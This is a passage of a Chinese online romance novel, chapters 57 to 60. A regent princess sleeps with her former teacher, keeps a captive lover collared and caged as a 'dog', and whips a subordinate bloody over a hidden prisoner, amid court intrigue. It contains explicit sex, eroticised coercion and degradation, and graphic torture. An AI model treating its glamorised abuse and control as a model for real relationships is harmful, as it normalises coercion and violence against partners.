她伸出手去一条一条的抚平沈约胸前的衣上皱褶,没有直接的肌肤相接,动作却是暧昧至极:“那我可不可以理解成,老师像学生想老师一样的想我呢。” 她的头紧紧靠在男人的肩窝上,微微抬首注视着上方的他,目光温柔缱绻,只一眼便容易给人深情的错觉。 沈约对她薄情的本性再也清楚不过, 但还是落得纵容,浅浅笑了一声,任他挨着自己:“长风觉得为师是怎么想的,为师就怎么想,嗯?” 越长风得寸进尺的凑到他的面前,伸手摸上了他的胡茬,“老师知不知道你这样,可是会惯坏了我的。” 沈约耳根一红,不自然的干咳两声。 越长风摸摸他发烫的耳根,也不逗他了,直截了当的问:“老师快马加鞭的赶着回来,可是有什么急着要跟我说的?” 这话无疑给了羞涩的老男人一个下台阶,沈约连忙坐直身子,敛了心神,一下子又变回了面对摄政长公主回话的臣子:“臣此番南下赈灾,托殿下的福一切顺利。只是……” “殿下有没有想过,我们面对的敌人是谁?” 第57章 第57章欺师灭祖 “是聚贤阁。”越长风把玩着男人鬓边垂落的一缕秀发,“也就是在背后操控朝野的影子朝廷,由世家子弟、朝廷官员和民间商行结成的利益关系网。” 沈约点点头,“没错。” “但聚贤阁并不只是一群有着个人利益的人那么简单。聚贤阁所代表的,更是这个世道运行的、一直以来的一套规矩。” 世道运行的一套规矩。 这不是她第一次听见这样的论述。柳孤城也曾经说过,天下万民就像天地万物一样,在日常的运转中自有自己的一套规矩,而聚贤阁不过是操控了这套自然法则,成为了所谓的“大势”。 她还以为那不过是小骗子胡乱编造的大话。 现在沈约却说出了意思相近的话。 越长风眸中锋芒一现:“世道运行的规矩……当真存在?” 沈约沉默了一下,嘴角勾起一抹无奈的笑:“为师知道你不相信世间有无法用人力掌控的事。” “可是这套世间运行的规矩,本来就不是人为创造,而是经过历朝历代的阶级固化、思想固化,当权者一代比一代拥有更多权力,无权者一代比一代活得卑贱,甘于顺从的犬儒主义成为了天下人的主流想法,人人都变得接受现状,安于现状,甚至维持现状去为自己谋得更多利益。” “利益集团不是创造了这套规矩,而是在维系和利用这套规矩。” “长风觉得,以人为的力量,如何逆转这个大势?” 沈约语调和缓,话音平静,仿佛回到了国子学里沉翰林问一众学生功课的日子。 越长风一言不发,定定的看着他,仿佛要看进他的眸子深处。 她就这样默默地看着他,与当初国子学里的学生不同,位高权重的长公主此刻的目光充满无形的压迫感。 过了不知多久,越长风轻轻一笑,周身气场散去。 “难道连提出变革、主理新政的沈中书也认为,人力并不能改变这天下的走向?” 她的语调问得轻松,问题本身却是尖锐至极。 如果大势无法逆转,那么变革的意义何在? “变革不是没有意义。”沈约冷静的回道。“只是变革需要时间,而时间不在我们这边。” “尤其是,当影子朝廷的内部已经出现了异动。” 越长风秀眉一挑:“异动?” 沈约凝重道:“聚贤阁内部现在分裂成了多派,堤坝倒塌不过是其中一派的手笔。” 越长风一下子坐直身子。“聚贤阁不是一个松散的利益集团么,怎么还分了派别了?” 沈约摇摇头:“曾经或者是,但是在玄武门之变后,聚贤阁多了一位集中大权的阁主;相比以前世家至上的利益共同体,这位阁主显然有别的想法。” “现在阁主派系和非阁主派系之间已经在进行一场无声的角力,从堤坝一事之中,我们也只能窥得一角。” “阁主一向作风强势,排除异己毫不手软,不过近来似乎被什么绊住了手脚,对阁里的影响力减少,也就导致了现在的矛盾浮面。” 越长风眼眸一眯,闪铄着不善的锋芒。“哦?” 她可清楚记得,柳孤城说聚贤阁是一个集体,没有什么派系,没有什么“人”在背后作为推手,更没有什么话事的阁主。 “那个阁主,是谁?” 沈约歉疚的笑笑,“为师无能,查不出来……这位阁主的身份就连聚贤阁内部的人也无从得知。” ——柳孤城作为柳家家主,这个身份绝对属于聚贤阁的核心人物。 所以,柳孤城不可能不知道有这么一个阁主。 他要不就是不知道阁主的身份而索性对她隐瞒阁主的存在,要不就是知道阁主的身份而依旧选择对她隐瞒阁主的存在。 越长风止不住的笑出声来。笑声清脆有如银铃,却让沈约打从心底发寒。 “长风这……”他忧心忡忡的打量着她。 越长风漫不经心的甩了甩头发,在男人怀中找了个舒服的角度再次依偎着他:“没什么,想起一个满口大话的小骗子罢了。” “估计他是属于阁主一派的,对他还挺忠心。”她的嘴角勾起讽刺的笑。“至少,比对本宫忠心。” 沈约身子一僵,半晌,才不自然的回抱着她,苍白的手因为紧绷而青筋暴现,耳根红得发烫。 “柳四郎这人复杂得很。”男人说的一本正经,声音却是可疑的沙哑低沉。 “老师还真是了解学生,都不用我说是谁哩。”越长风轻笑,顺势把手伸进他的衣领里,在里面不怀好意的游走。 沈约还想说些什么,衣领里的手一下轻捏,脱口而出的便成了一声暗哑的低呼。 越长风含笑抬首,一双桃花眼弯成了月牙儿,没心没肺的笑道:“老师这么关注别人,可是会让学生吃醋的哦。” 沈约语塞:“明明为师才是应该……” 他涨红着脸没有说下去,可越长风偏偏要给他挑明,“所以是老师在吃柳孤城的醋了?” 长指攀上男人的薄唇暧昧的描摹,在他的怀里轻轻呢喃:“老师这张嘴与其用来吃醋,学生还是喜欢它发出欲求不满的声音。” 沈约身躯一震,板起烫红的脸,“欺师灭祖。” 越长风撑起身子,歪头一脸单纯的看着他:“要不学生到床上去欺师灭祖?” “……” ----- 日落西山,相府的主院里亮起了灯。 越长风懒洋洋的趴在榻上,注视着屏风后那道浴桶里的身影。 沈约风尘仆仆的赶回来,回府第一件事便是要越长风等他洗澡。隔着一道屏风,偏不让她越过去,像是故意钓着她似的,屏风上的剪影和动作让人遐想非非。 男人身型修长,从南境回来之后似乎更瘦了,单薄的剪影在屏风上若隐若现。 沈约出身历史悠久的书香门第,举手投足之间都自带一种清雅贵气,简单的搓澡动作被他做得一副矜贵优雅的做派。隔着一层屏风像是美人犹抱琵琶半遮面的样子,刻意的留白让人更加心痒难耐。 越长风静静地看着这一出美人出浴的影子戏,闷闷道:“老师再不出来,我快要忍不住转过去欺负你了。” 屏风后传来低沉醇厚的笑声:“长风的耐性怎么还没见好。” 慢悠悠的动作,循循善诱的教诲,越长风都可以肯定那是她这位假正经的“老师”故意的了。 但她难得听话的依了他的意思在外面等着,直到他悠悠然转出屏风,才扑上前去,一把抱住了他。 沈约一身衣冠楚楚,明明在自己房中,还装模作样的穿上一身整齐衣服,就连系带也是一丝不苟。 ——大概只是因为越长风享受将这一身代表身份的衣服层层褪下的过程。 “老师瘦了。” 他是真的瘦了,她都可以轻松地把他抱到床上坐下,曾经贴身的衣服也是松松的,她只解开衣带便顺势滑下。 越长风抱着他的脖子,整个人几乎便要挂在他瘦弱的身上,把头往他的怀里钻,胸骨硌得她脸上生疼。“可是,我知道老师是为了我而劳碌奔波,我……很高兴。” 沈约看着她缓缓抬首,那双蛊惑人心的桃花眼含着纯净真挚的笑意,直直看进他的眼底。 ——为了这个眼神,他已经用了自己三分之一的人生来守护。 是什么时候开始变了味道? 在国子学的时候,昭阳公主从来不是最突出的一个;几位皇子皇女之中太子最急于表现,而不属于越氏天家的柳时言则是天生耀眼。 在最初的时候,沈约决定帮助越长风取得国子学的席位,不过是在她身上看到了自己的不甘。 越长风因为女儿之身而得不到父皇对教育的重视;而他沈约因为不愿和朝中那些利益集团同 流合污而无法得到一个实职,长年滞在翰林院里只能与书籍为伍。 他们的命运,都不该如此。 最初的时候,沈约不过是出于同病相怜而想要为少女争得一个机会,没想到长大后的越长风反过来把他堵在墙角,两人之间只有一指之隔,彼此悄悄加速的呼吸声清晰可闻。 女郎看向自己的眼神依旧带着往日的感激和孺慕,却掺杂了一些比纯粹的仰慕更加浓烈的感情。 那是一种带着侵略性的、近乎偏执的欲望。 “老师,我只有你了。” “老师,想不想和我一起,豪赌一局?” ----- 屋子里的灯火忽明忽灭,床榻上垂下的纱幔摇曳了一整夜,在朝堂上叱咤风云的中年权相抓着帐幔闷着头,努力克制从那把一字千金的口中溢出的每一下声音,凝白如玉的肌肤上满是爱\欲的痕迹,自己的双手也在曾经的学生身上抓出了条条指痕。 越长风用环抱的姿势把人扣在床上,靠在他硌人的锁骨上,指尖百无聊赖地在他的身上打着圈圈。 “今晚留下来么?”男人状似不经意的问,低沉的声音染了几分沙哑。 越长风毫不犹豫的点了点头。 沈约闷闷一笑。“不用回去看看你那小柳郎么?毕竟殿下可是在玄武门前丢下了他。” 越长风吓得一下子坐直身子。 “原来……”他一直都知道。 第58章 第58章汪 什么欲望都一下子下头了,越长风一下子从床上弹起,干巴巴的笑:“老师怎么……” 沈约一只手肘撑着床榻,支起身子好整以暇的看着她。 直看得她心底发毛,他才长长叹了一口气:“长风是不是忘记了,为师是这世上最了解你的人。” 好像大部份人都对“最”和“唯一”有一种与生俱来的执着。 沈约总是喜欢强调自己的“最”和“唯一”,说实在的越长风对这两个词语都没有感觉,也从来都不觉得自己应该有什么“最”和“唯一”的男人。 不过,沈约的确认识她最久,是从她无忧无虑的童年开始,直到现在已经变得面目全非的自己,真正看着她长大的人。 就因为这一点,越长风总是有被他看光光的感觉,但她对此并不抗拒。 她眼珠子一转,掠过一抹狡黠的光芒,嘴上“理直气壮”地解释:“柳孤城没有老师重要,在玄武门上藏着他就是不想让老师尴尬呀。” 她学着他的样子半躺下去,眉眼含笑的与他对视:“你看我把他丢下了,就是为了跟老师回府好好陪你。” 沈约轻轻叹了一口气,越长风的随口哄骗他可是一点也不信的,只是这些日子没日没夜地工作而疲惫至极的心情还是禁不住的放松了不少。 他默默注视着她半晌,眸光忽然变得幽幽的意味不明。 “老师在想什么?” “其实,”沈约缓缓开口,沉稳浑厚的声音也变得晦暗不明:“在上元宫宴那日,柳四郎追了出来,在太液池畔和为师说了一些话。” 越长风点了点头:“我知道,柳孤城那日是自己掉下去的。他早就蓄谋已久,本来大概是想嫁祸于你,谁知道他那两个废物哥哥追了出来,才有了现成的替罪羊。” 沈约眸光深深的看着她,半晌才轻轻一笑。 蓄谋已久的,又何止是柳孤城一个。 “你想知道,柳四郎当时跟为师说了什么吗?” 说不好奇自然是假的,但越长风看着男人有些压抑的深邃目光,莫名地有些心虚。 “他就是个满口谎言的小骗子,老师不要当真。” 沈约不置可否的“嗯”了一声。 越长风重新躺了下去,以为这事就这么过了的时候,沈约暗哑的声音在耳边响起。 “柳四郎说,为师和你之间,永远都会隔着一层师徒伦理。” 越长风平躺在床,沈约撑着头半躺在旁,用居高临下的角度俯视着她,眼神却是与姿势截然相反的卑微和不安。 “师徒伦理……”越长风轻轻说着,仿佛把这四个字放在舌尖上来回品味。 她淡定的回视身上的深约,嘴角忽然翘起。 “所以,老师其实是在介意这个,是不是?” 沈约索性爬了起来,双手撑在她的两边,高挑的身影堪堪覆在女郎上面。他就只是静静的注视着她,仿佛默认了自己的答案。 越长风玉手一伸,托住他肋骨硌手的胸膛,上面满满都是她的杰作。 指腹着那些自己留下的印记,笑着反问:“那老师被学生×爽了吗?” 沈约手肘一松,几乎便要撑不住一下掉在她身上。 越长风“好心”的帮他撑着胸口,借机又掐住扭了一下。 男人明明比她大上十年有余,又是位高权重的当朝宰相,此刻却像脆弱的陶瓷娃娃一样,近乎病态的苍白肌肤弹指可破,却在方才的云雨之际被她恶劣地掐出了青一块紫一块的瘀痕。 如兄如父的启蒙老师在自己身下娇柔婉转、予取予求,一边是来自年长者的偏爱,一边是下克上的暴力,身份和伦理的隔阂带来的征服感从来都不是退却的理由,而只是精神快慰的来源。 “君子怎可口出……”沈约的脸由双颊红到耳尖,强行板起脸来教训。 “学生可不是君子。”越长风笑着打断,不依不挠的问:“所以,老师和学生行房,是把师生伦理置于何地?” 沈约僵住,一时无言以对。 当初被自己的学生拐上了床,大概是他这辈子做得最错的一件事。 可是,一路走到现在这一步,他也已经是织错难返。 “我想对老师说的是,”越长风似笑非笑的看着他,“因为是老师和学生,所以我们这种关系才更加让人着迷不是吗?” “也因为是老师和学生,所以老师是最了解学生的人,学生也是最信任老师的人。” 玉手离开了男人的胸膛,轻轻拂上了他发烫的脸侧。“无论是最初的国子学还是现在的政事堂里,我越长风这一辈子,也只有沈约这一个老师。” “老师知道的,在柳时言之后,我不可能再下嫁任何一个男人——所以,老师是我唯一的老师,这样的关系,才是最独一无二的。” ----- 越长风回到府里的时候,柳孤城正坐在窗前,窗子被从内推开。 听见开门的声音,他过了很久才反应过来似的,先是迟来的一怔,随即跪到地上,随着越来越近的脚步声,整个人像蜷缩起来似的,高大的男人在地上卷成小小一团。 “主人……”他的声音止不住的颤抖,“奴没有想要逃跑,真的……外面有一只小鸟一直在撞着窗子,奴可怜它,才开窗放它进来……” 越长风看向窗子的方向,果然看见一只小小的鸟儿坐在窗沿上。 鸟儿可怜兮兮的吱吱叫着,对上她的眼神似乎比柳孤城本人还要害怕,奋力拍着翅膀,一开始还笨笨拙拙的飞不起来,忽然一下子离了地,然后一飞冲天,再也没有回头。 “柳郎你看,明明是你救了它,但养不熟的宠物还是会在第一时间便离你而去。”越长风弯下腰去,像抚摸宠物一样怜惜地摸摸他的头。“你 说是不是?” 女郎眸光深深,似乎要把他看穿一样,嘴角似笑非笑。 柳孤城的目光随着小鸟移向天边,眼眸空洞,不知道在想什么。 越长风把他拉起来,抱在怀里。 男人似乎是真的害怕了,急于解释自己开窗的“误会”,而她也宁愿他是真的害怕。 ——而不是别有用心。 毕竟,他从一开始,直到亲手为自己戴上项圈表示臣服,也一直没有告诉她关于聚贤阁主的真相。 “没怪你。”她温温柔柔的说着,笑意却远远未及眼底。“本宫也没让你不能开窗。” “只是。” 越长风勾着他身前金环上的细链,有一下没一下的扯动着,链子上的铃铛响起了清脆的叮当声。 “今天在城墙上敢咬本宫,现在不敢认了,嗯?” 支配者把玩着细链的手忽然大力一扯。 “唔!呼……”柳孤城一下子回过神来,空洞的目光中痛苦之色顿时涌现,嘴里重重倒抽了一口凉气。 穿着链子的地方本来已被训练得敏感至极,哪里经得起如此摧残。 剧痛让男人全身的肌肉都紧绷起来,肌理分明的胸腹冒着点点汗珠,为本来已是性感的身型再添几分诱人的凌虐美。 “主人……求求你……”柳孤城近乎呜咽着呢喃。 “求本宫什么?”越长风仍是柔柔的笑着,声音温和得听不出一丝脾气。“想要了?” 一连串的调教下来,柳孤城对于像玩物一样的“被使用”早已成瘾,偏偏又无法自己释放,越长风一天没有回府,他的忍耐已经到了顶点。 “想要……求求主人……” 越长风冷静地观察着被情潮折磨的男人,他的双目因瘾起而变得迷离,脸上表情诚惶诚恐的,不知道是在害怕她暴戾的惩罚自己,还是“仁慈的”不去使用自己。 “在城墙上,为什么不听话?”她一边观察着柳孤城,一边看似淡然的问。 柳孤城可怜巴巴的声音带了几分恶狼本性的咬牙切齿:“不喜欢……主人对别人好。” “呵。”越长风仿佛被真心取悦到的笑出声来。 “你有听说过,狗可以管主人的么?” 她的语调轻松,不含一丝轻蔑之意,仿佛真心对他的答案感到好奇。 “奴……不敢。” 是不敢,不是不会,也不是认错。 只是因为瘾起而把自己放在卑微的位置上,求她慈悲垂怜罢了。 越长风放开手上细链,转身走到椅子上坐下,懒洋洋的抬了抬脚:“过来。” 柳孤城惴惴不安的爬到她的脚下。 “给本宫说说,你的身份是什么。” 柳孤城有很多身份。 可此刻他的答案只能有一个:“奴是主人的狗。” “你的主人是谁?” 越长风问得平静。她的心却像被揪住一样的紧张,她的这个问题语带双关,想要听到的并不是他卑贱驯服的答案,而是希望趁着他意乱情迷的时候可以敲开那张满口谎言的嘴,窥得哪怕一分关于“阁主”的真相。 可越长风还是失望了。 柳孤城只听懂了这个问题的其中一个意思,又或者他就算瘾起发作、欲求不满的时候,还是保持了小骗子的警觉,她无论做些什么也撬不开他的嘴。 “奴的主人是你……是鸢鸢。” 越长风气笑,赌气似的冲口而出:“好啊,那叫两声给主人听听。” 男人用极尽卑微的姿势仰望她,眸中水光粼粼,朱唇轻启。 “汪。” 第59章 第59章逃避、求她囚禁自己…… 无底线的顺从来得过于突然,越长风一时竟是无言以对。 她甚至没有刻意的对他进行放置调教,不过就是去了相府过了一晚而已。 难道这区区忍了一日的欲望便已经足以让他作为一个独立的人的最后一丝自我碎掉? 越长风像安抚犬只一样摸摸他的头顶,沉默了好一阵子,才轻轻叹道:“下次出去的时候,你要是也像现在这么乖那就好了。” 听到“出去”两个字,脚下的男人却像惊弓之鸟一样,惊慌失措地抓住她的衣角,反应极大的连连摇头。 “不要出去……”他近乎是抽噎着呢喃。“不要再去外面了,主人,求你留在这里陪我。” 柳孤城好像彻底转了性子,不仅不跑了,还主动表示不愿出去。 彻头彻尾的驯化本来就是她的目的,但此刻的越长风却只是感到无比怪异。 就像天上翱翔的苍鹰自甘折翼爬进金丝笼里一样。 越长风收回抚摸着男人的手,身子往后一仰,脚尖勾在他脖颈间的项圈上。 声音柔和的问:“为什么不要出去?” “奴只要主人。”柳孤城伏在她的脚下仰视,目光卑微而虔诚。“只要陪着主人,给主人玩……不要见别的人。” 越长风终于明白了,他这是在逃避。 这一次“遛狗”的经历大概吓破了他,除了在人人都可以随时经过的龙尾道上被迫像狗一样爬行接受调教,在高高的城楼上被按在墙上使用,还有……和沈约的不期而遇。 支配者在别的男人面前让他藏在身下伺候,一边和那人卿卿我我的调情,一边毫不留情地折辱于他,这大概是谁都难以接受的吧? 所以,柳孤城这是不想面对了。 宁愿被她囚禁在这间屋子里——或者应该说是,自己把自己囚禁在这间屋子里——就不用面对支配者还有别的男人、而且那些人的地位显然比他要高的事实。 只要不用看着她和别人相处的情景,他就可以继续自欺欺人地认为自己是最特别的一个,说服自己所经历过的一切都是值得。 越长风似笑非笑的注视着脚下男人,她想通了他藏在字里行间的真正想法,对此却没有半点的怜悯或同情。 知道他在想什么,在害怕什么,她也只是更想更加没有底线的玩弄他,取悦自己。 “所以,柳郎是在求本宫把你仅有的自由没收,重新将你关起来么?” 柳孤城身子微颤,僵硬点头:“……是,主人。” 越长风轻笑一声,足趾代替手指勾起他的下巴,迫他仰起头来,嘴角勾起一抹带着戏谑意味的弧度:“求本宫。” 男人顺势蹭上她的脚背,毫不犹豫地说:“求求主人。” “比起说话。”她居高临下的睥睨着顺从的男人,趾尖轻轻描摹他的嘴唇。“你这张嘴可要付出多点诚意。” 越长风靠在椅背上,裙摆摇曳,双腿微微向外,笑意盈盈的看着他。 诚意是什么,不言而喻。 大红罗裙就像床边垂落的帐幔一样,遮住了满室羞人春色。如果有人从开着的窗户看进屋里,也只能看见女郎眼眸半眯,慵懒闲适的挨着椅背,周身自然而然地散发着一种胜券在握、尽在掌控的笃定气场。 要是有人站在窗前,便能看到女郎放在大腿上的芊芊玉手之间,好似有一团东西蜷缩在罗裙之下。 裙摆覆下,柳孤城陷入黑暗之中,只能伸出双手盲目摸索。 胸前却突然被重重一踹。 头顶传来支配者冷冷的声音:“手背后。” 唯一可以和主人有肌肤之亲的地方只有他柔软的唇瓣。 而主人连看也不愿看他,更是加重了男人被当作一件物件来使用的耻辱感。 柳孤城深深吸了一口气,然后缓缓呼出,温热的气息喷洒在柔嫩的肌肤上,女郎不自觉的倒抽一口凉气,双手隔着布料揪住他的头发。 在主人的绝对掌控之下,他继续在黑暗中摸索,直到碰到了被自己咬过的地方。 “跟它道歉。” 越长风的声音因情潮而变得沙哑,话中丝毫不掩满满的恶劣。 跟谁?跟沈约么?就因为他那一咬打扰了他们的调情? 柳孤城咬牙切齿的想着,裙下无人看见的目光满布阴霾,和表面的驯服顺从相反,全是晦涩不明的偏执。 越长风的手却把他的头按 了下去。“别说话,用行动道歉。” 柳孤城顿时如梦初醒。 原来是要给……那里道歉。 认知让他羞得满脸通红,眼眸里却是阴霾尽散。 用自己的嘴巴对她的身体部位道歉让他更深的感受到自己的卑贱,但也总比面对她的其他男人要好上太多。 柳孤城的动作虔诚而专注,像是带着歉疚的安抚,坚定的力度却更像是野兽在志在必得的猎物上宣示主权。就像是故意的,低沉粗重的呼吸声从裙底传出,隔着一层布料变得似有若无,隐晦难辨的却更添几分旖旎。 桀骜不驯的狼狗在经历一次次的奖惩、规范和驯化,周而复始的一记棒槌一根萝卜之后,第一次进行了两人之间最亲密的奉侍。 越长风身子后仰,感官和心理的双重快慰一波一波的如潮涌袭,双眼蒙上了一层水雾,暗哑的嗓音里丝毫不掩喷薄而出的爱欲:“告诉本宫,你现在最想要的是什么。” 柳孤城的声音隔着布料闷闷传来:“想要主人……想要取悦主人,得到原谅,和垂怜……” 越长风满意地轻笑:“原谅你了,继续吧。” 话音刚落,女郎的双腿一下子绷直,顺势抬起晾在那团东西上面,双腿交叉往下一绞。 待她终于松开双腿,稍为平复了一下紊乱的呼吸,伸手拉过柳孤城项圈上的金链把人拉了出来。 她把男人揽入怀中,指背轻柔地拂过他的脸颊,将他嘴角的涎液送入他的口中。 “看在你这么努力的份上,本宫准了。” ----- 地牢里的笼子被搬到了上面的屋子里。 ——不,应该说是另外一个全新的笼子。 精工打造的巨型鸟笼座落在本来应该是床的地方,笼子底部一如既往的铺上了贴心的软垫,和地牢里不同的是,那张属于越长风的大床也被搬了进去。 ……她竟是疯得把自己和他关在一起。 此刻柳孤城却是独自跪在笼子里的地上,项圈的牵引链被他自动自觉的挂在笼子顶端,白皙的脖子向上仰起,像仙鹤一样的清高矜贵,乖顺的跪姿和身上华糜的饰物却是卑微至极。 和笼子外面穿戴整齐地伫立的女郎相比,更是显出了强大的反差。 “柳孤城,这是你自己向本宫求来的。” “喜欢么?” 越长风笑容很浅,玩味的目光在男人身上游走。芊芊玉手伸出,穿过笼子抵在他的嘴边。 此情此景是如此的熟悉,不久之前在地牢里也发生过。柳孤城也像在地牢里的那时一样张嘴含住,舌尖缠绕着支配者的玉指,眼神专注的仰视着她。 指尖恶劣的玩弄起那条软舌。 越长风眸光深深,惩罚似的扯了扯他的舌头:“不懂答话了么?” “喜欢,多谢主人。”柳孤城含糊不清的回道。 越长风收回手指,从桌上拿过刚刚泡开的一壶清茶,回到笼子前,“舌头伸出来。” 热茶倒在红润的软舌上,沿着舌尖一路往下滴落,在身上铺上薄薄的水光,也擦亮了轻轻颤动的金环。男人身躯本能的颤动带动了细链上的铃铛,发出悦耳的叮叮当当之声。 越长风居高临下的看着眼前美景,嘴角勾起那抹施舍的微笑,啪啪两声在他两颊扇了两个巴掌。 男人从头到脚泛着红霞,全部都是属于她的痕迹。 她再次问出了在地牢问过的问题:“你是本宫的什么?” 柳孤城定定的看着她,目光幽深而空洞。 “奴是满足主人的任何东西。” 越长风在他的头上来回抚摸,玉足踩在他的身上,带出了一声闷哼。 “乖柳郎。” “你是折翼的金丝雀,是你自己想要住在笼子里的,就不要想着飞出去了。” 男人亲昵地往她的手脚上蹭,乖顺回道:“是,主人。” 就在屋内弥漫着温馨的气氛时,屋外忽然传来陆行舟的声音:“主上,卑职有要事汇报。” 第60章 第60章严刑逼供、柳十三的真相…… 越长风放下茶盏,隔着笼子用指尖玩弄着男人被热茶烫得红肿濡湿的身子,淡淡道:“什么事?” 站在门外的陆行舟一僵,越长风在屋里和谁在一起做些什么他自然再也清楚不过,没想到她不仅没有出来见他的意思,也没有让他进屋汇报的意思,更是丝毫没有让屋内那个男人避嫌的意思。 他试探了一下:“主上……” 越长风的声音带着不耐:“说。” “……是。”陆行舟犹豫了一下,说出口的话却是言简意赅,一如既往的不带一丝多余感情。 “诏狱里逃了一个重犯,卑职来请主上手谕封城、戒严,好让玄武卫搜捕逃犯。” 越长风停下手上动作,秀眉微蹙,冷声道:“封城戒严是扰民之举,更会引起不必要的恐慌,陆司使最后给本宫一个必须这么做的理由。” 就像早已料到她会有此一问,陆行舟很快便回了话:“逃犯身份特殊,不早日抓捕归案的话,更容易引起京师不稳。” 越长风觉得他有什么事情瞒着自己。 “重犯是谁,是怎么逃出诏狱的?” 果然,屋外的人沉默了。 越长风嘴角本来勾起了玩味的笑容,却是瞬间变得冷凝,脸色一下子沈了下去。 “陆行舟,逃犯是谁?” 越长风甚少连名带姓的叫他,平时公事公办的叫他陆司使,心情好的时候亲昵的施舍一声行舟,不好的时候冷嘲热讽的“尊称”一声陆大人。 这样连名带姓的,无论她的语气怎么平静,也是狂风骤雨的前兆。 “主上恕罪。”陆行舟眸光一黯,明知屋里的越长风看不见她,还是状似恭敬的低眉垂首,掩去了目中阴霾。“是……废太子一党的余孽。” 越长风还未开口,忽听笼子里传来一声轻笑。 “什么废太子余孽。”柳孤城看好戏不嫌事大,在笼子里找了一个舒服的位置改跪为坐,一脸闲适惬意的笑着,悠悠然道:“那是柳十三。” 他的声音不大,刚刚好让屋外的陆行舟听得清清楚楚。 “住嘴!”陆行舟一声冷喝。“没句真话的小骗子。” 越长风定定的注视着笼子里一副好整以暇的柳孤城,嘴角兴味盎然的勾起,眼眸却没有一丝温度。 她看着笼子里的人,话却是对着屋外的人所说。 “小骗子是你叫的么?” 陆行舟的脸色阴沈得可怕,却终只是低低道:“卑职逾越了。” 越长风也不理他,直截了当的问笼子里笑得一脸幸灾乐祸的柳孤城:“柳十三是谁。” 柳孤城还没开口,门外的陆行舟冷冷低喝:“柳十二。” 越长风呵的一下嗤笑出声。 ——一个柳十二,一个柳十三,不知道的还以为他们在打着什么哑谜。敢情这两个人一直都拿捏着对方的什么把柄,由始至终蒙在鼓里的就只有她越长风一个人了? 她站在笼子前,修长身影笼罩着笼子里的人,居高临下地俯视着脸色刷的一下变得煞白的他。 陆行舟喊了一声柳十二之后,她没有让他说下去,也没有问柳十二是什么。 她只是在等待。 柳孤城阖上眼睛,脖子高仰,一副引颈就戮的样子。 笼里、笼外,门里、门外,三个人之间只余一片骇人的死寂。 最深处的秘密在毫无预兆之下被骤然揭开,早已结痂多年的伤口再一次变得血肉模糊,柳孤城在迷迷糊糊之间看见了曾经那个没有自我、没有人格、没有感情却其实比任何人都远远要更加脆弱的无助少年。 恍恍惚惚的回到了十四年前他第一次入宫的那天。 惊才绝艳的柳家大郎得到所有人的注目,无忧无虑的小公主眼中充满渴慕和憧憬,只有他是躲在阴沟里见不得人的一只老鼠,甚至连老鼠也不算,不过是在阳光映照不到的阴暗之中,只因主人存在而得以存在的影子罢了。 柳孤城呆呆枯坐不知多久。 羽睫轻颤,声音显得恍若微风一吹便散:“柳十二……是我。” “我是暗卫营训练出来的,给大哥使用的替身暗卫。” “柳十三……是在我之后的那一个。” “和柳时言一模一样的,只为柳时言而活,也只为柳时言 而死的替身暗卫。” 像是用尽了所有力气一样,柳孤城瘫软在地,剥去了坚韧外皮的恶狼像无助的小动物那样蜷缩在笼子的角落里。 “奴……再没有什么瞒着主人了。” 越长风看也不看他,也没有任何反应,直直走出门外,斜斜睨视着垂手伫立的陆行舟。 “柳十三在哪里不见的,带本宫去看看。”—— 玄武司地下的牢房里。 地牢里的灯光微弱昏暗,空气湿冷,墙上刑具琳琅满目,阴森可怖。 重铁铸成的牢门上有被撬开的痕迹,此刻正在往内大开着,里面那个高高的刑架上已经没有了那个在过去六年里被无数次严刑逼供、鞭打发泄的男人。 取而代之的是曾经的施刑者本身。 陆行舟光\裸着壮硕的身子,深深的肌壑之间满布斑斑驳驳的鞭痕,一条条的渗着血丝,有条甚至深可见骨,触目惊心。 他被绑在曾经禁锢过柳十三的刑架上,姿势极其屈辱——他被迫撅着后臀,大张着腿,上身前倾趴在在刑架上。刑架上嵌着的两个脚铐将男人双腿分开铐死,重铁项圈扣住脖子锁在刑架上将他的头栓死,脖子上和脚腕上的双重桎梏让他直不起身,另外一副手铐将他双手锁着,吊在头顶的铁环上。 刑架两旁各自站着一名本该是他手下的玄武卫,两人都是耸拉着头,目不斜视坐立不安,明知自己不应该在这时候目睹司使大人最狼狈的一面,却偏偏不能不服从更高主宰的命令而只能捧着刑讯用具站在那里。 而支配者站在自己曾经的位置上,手里长鞭带着倒钩,上面还浸了一层薄薄的盐水,不难想像每一鞭打在身上那皮开肉绽的极致痛楚。 “陆大人这所地牢还真是隐蔽,可以把一个活生生的人在本宫鼻子底下藏了六年。”越长风嘲弄的轻笑,“就只是在六年后被人破了进来而已。” “是卑职失——呃……!” 长鞭夹着风声如利刃落下,鞭上倒钩撕裂了他的皮肉,陆行舟下意识的脚趾蜷缩,面容扭曲,螓首后仰,脖子上的铁链被他一下子扯得笔直,手铐上的粗重铁镣摇来摆去,“格吱格吱”响个不停。 越长风动作优雅的收鞭,温温和和的问:“陆大人觉得本宫是在惩罚你的失职么?” “而不是——你的不忠?” “卑职……永远忠诚于主上……” 陆行舟声音嘶哑,死死忍耐着皮肉之痛,一阵阵的血锈味融入鼻中,作为玄武司使的他早已习惯了这种味道,只是第一次来自自己身上。 “忠诚?”越长风像是听到了天大的笑话一样。“本宫竟不知道,一个六年前早该替主子而死的替身暗卫一直在玄武卫的地牢里苟活至今,那竟是陆大人的忠诚所致。” 陆行舟犹豫了一下。 长鞭深谙无情地往他的臀上招呼。 “说,怎么不说了?”越长风笑着问。 “求求主上……”陆行舟低喘着气,声音轻轻的卑微至极,“让他们出去……” 越长风看着两旁的玄武卫,知道他最后的底线是不让手下看着自己受刑,心头还是微微一软,打了个颜色让两人出去。 长鞭重新落下,伴随著有节奏的啪啪啪啪之声,壮美的身体上一道道腥红血痕纵横交错,织成了一幅残虐的画。 陆行舟终于保持不住苛刻的姿势,不禁微微往下滑了一些。 越长风却丝毫不为所动:“摆好,继续。” “三,二……一。” 冷冷的倒数不过是惩罚的一环,不为任何人而停下或者放缓。 一次又一次的重复,直到她打得累了,解开男人身上的铁链镣铐让他整个人滑倒在地。 越长风负手而立,居高临下地睥睨脚下的家犬,看他高撅着屁股跪趴在地上,就是这样一只看似最为驯服忠诚的狗,偏偏藏了这么一个惊天大秘密,还是一藏便是六年。 脚尖抬起,拨了拨他凌乱濡湿的鬓发,又戳了戳他的额头,彷佛在玩弄一件死物一般。 “其实,在六年前的时候,死的本该是柳十三,对不对?”越长风忽然开口,声音淡漠平静,说出的话却有如整天霹雳。 她在责打训诫着陆行舟的时候,已经想通了这一切的来龙去脉—— 